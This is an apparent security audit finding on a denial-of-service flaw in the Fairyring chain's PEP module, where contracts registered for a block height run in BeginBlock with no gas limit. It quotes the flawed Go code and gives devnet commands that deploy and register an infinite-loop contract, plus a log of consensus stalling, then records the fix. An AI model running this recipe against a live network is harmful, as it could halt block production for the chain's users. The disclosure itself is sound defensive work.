DOS vulnerability via MsgRegisterContract
due to unlimited gas execution in BeginBlock
Description
In the BeginBlock
function of the PEP module, contracts registered for execution at specific block heights are executed without gas restrictions, potentially leading to denial-of-service (DOS) attacks. Specifically, when the application chain reaches a specified height, it executes all contracts registered for that height without any gas limitation. If any of these contracts contain an infinite loop or complex computation, they can consume excessive resources and potentially halt the chain.
Here is a code snippet illustrating the execution of registered contracts:
// execute registered contracts
contracts, found := am.keeper.GetContractEntriesByID(ctx, strconv.FormatUint(h, 10))
if found && len(contracts.Contracts) != 0 {
for _, contract := range contracts.Contracts {
am.keeper.ExecuteContract(
ctx,
contract.ContractAddress,
types.ExecuteContractMsg{
Identity: strconv.FormatUint(h, 10),
Pubkey: activePubkey.PublicKey,
DecryptionKey: key.Data,
},
)
}
}
Here is the ExecuteContract definition:
func (k Keeper) ExecuteContract(ctx sdk.Context, contractAddr string, msg types.ExecuteContractMsg) {
addr := sdk.MustAccAddressFromBech32(contractAddr)
msgBytes, err := json.Marshal(msg)
if err != nil {
k.logger.Error("error marshalling msg for contract: %s", contractAddr)
return
}
wasmAddr := authtypes.NewModuleAddress(wasmtypes.ModuleName)
_, err = k.contractKeeper.Execute(ctx, addr, wasmAddr, msgBytes, sdk.Coins{})
if err != nil {
k.logger.Error("error executing contract: %s; error: %v", contractAddr, err)
}
}
Although the wasmd module's keeper internally tracks gas usage during contract execution, this gas consumption is not applied to any transaction signer in the BeginBlock
phase, meaning there is no mechanism to halt execution if gas limits are exceeded. Currently, because the module uses an InfiniteGasMeter
by default, there is no cap on gas usage, allowing infinite gas to be consumed. This configuration enables malicious users to deploy contracts that consume excessive gas through infinite loops or other resource-intensive processes.
Additionally, the wasmd module allows anyone to deploy contracts via MsgStoreCode
, and the PEP module allows contracts to be registered for automatic execution via MsgRegisterContract
. This opens an avenue for arbitrary code to be executed in BeginBlock
without gas limitations, leading to potential DOS attacks.
Impact
This issue creates a DOS vulnerability. If a registered contract contains an infinite loop or resource-intensive computation, it could consume unbounded gas in BeginBlock
, resulting in the chain becoming unresponsive. This could halt block production and disrupt network operations, as there is no gas limit enforced during execution in BeginBlock
.
The following commands demonstrate how to deploy and register a contract containing an infinite loop, highlighting the DOS vulnerability:
Deploy the loop.wasm contract, which contains an infinite loop.
fairyringd tx wasm store loop.wasm -y --home devnet_data/fairyring_devnet --from wallet1 --keyring-backend test --chain-id fairyring_devnet --gas 2000000
Instantiate the loop.wasm contract on the Fairyring network.
fairyringd tx wasm instantiate 1 '{}' -y --home devnet_data/fairyring_devnet --from wallet1 --keyring-backend test --chain-id fairyring_devnet --admin wallet1 --label foo
Query and retrieve the contract address for subsequent execution.
CONTRACT_ADDR=$(fairyringd q wasm list-contracts-by-code 1 --output=json | jq -r '.contracts[0]')
echo $CONTRACT_ADDR
Set the contract to execute at a future block height. This step uses the latest chain height and adds 30 blocks.
TARGET_HEIGHT=$(($(fairyringd q pep latest-height -o json | jq -r '.height') + 30))
echo $TARGET_HEIGHT
Register the contract for execution at the specified target height. The contract will automatically execute at this height.
fairyringd tx pep register-contract $CONTRACT_ADDR $TARGET_HEIGHT -y --home devnet_data/fairyring_devnet --from wallet1 --keyring-backend test --chain-id fairyring_devnet
Upon execution, the following log demonstrates the impact:
{"level":"info","module":"server","module":"x/pep",
"time":"2024-11-07T10:42:14Z","message":"Found Contract at block 86, Execute it!"}
{"level":"info","module":"server","module":"pex","numOutPeers":0,
"numInPeers":0,"numDialing":0,"numToDial":10,
"time":"2024-11-07T10:42:16Z","message":"Ensure peers"}
{"level":"info","module":"server","module":"pex",
"time":"2024-11-07T10:42:16Z","message":"No addresses to dial. Falling back to seeds"}
{"level":"info","module":"server","module":"consensus",
"dur":5000,"height":87,"round":0,"step":"RoundStepPropose",
"time":"2024-11-07T10:42:19Z","message":"Timed out"}
{"level":"info","module":"server","module":"p2p","book":
"/root/buildenv/src/app/fairyring/devnet_data/fairyring_devnet/
config/addrbook.json","size":0,
"time":"2024-11-07T10:42:46Z","message":"Saving AddrBook to file"}
{"level":"info","module":"server","module":"pex","numOutPeers":0,
"numInPeers":0,"numDialing":0,"numToDial":10,
"time":"2024-11-07T10:42:46Z","message":"Ensure peers"}
{"level":"info","module":"server","module":"pex",
"time":"2024-11-07T10:42:46Z","message":"No addresses to dial. Falling back to seeds"}
This setup demonstrates how an infinite loop contract can be registered and automatically executed at a specified height, illustrating the potential for DOS if gas limitations are not enforced.
Recommendations
Restrict the maximum gas that can be consumed per contract execution within BeginBlock
. If the gas limit is exceeded, terminate the contract execution.
Remediation
This issue has been acknowledged by Fairblock Inc., and a fix was implemented in commit 5b830510↗.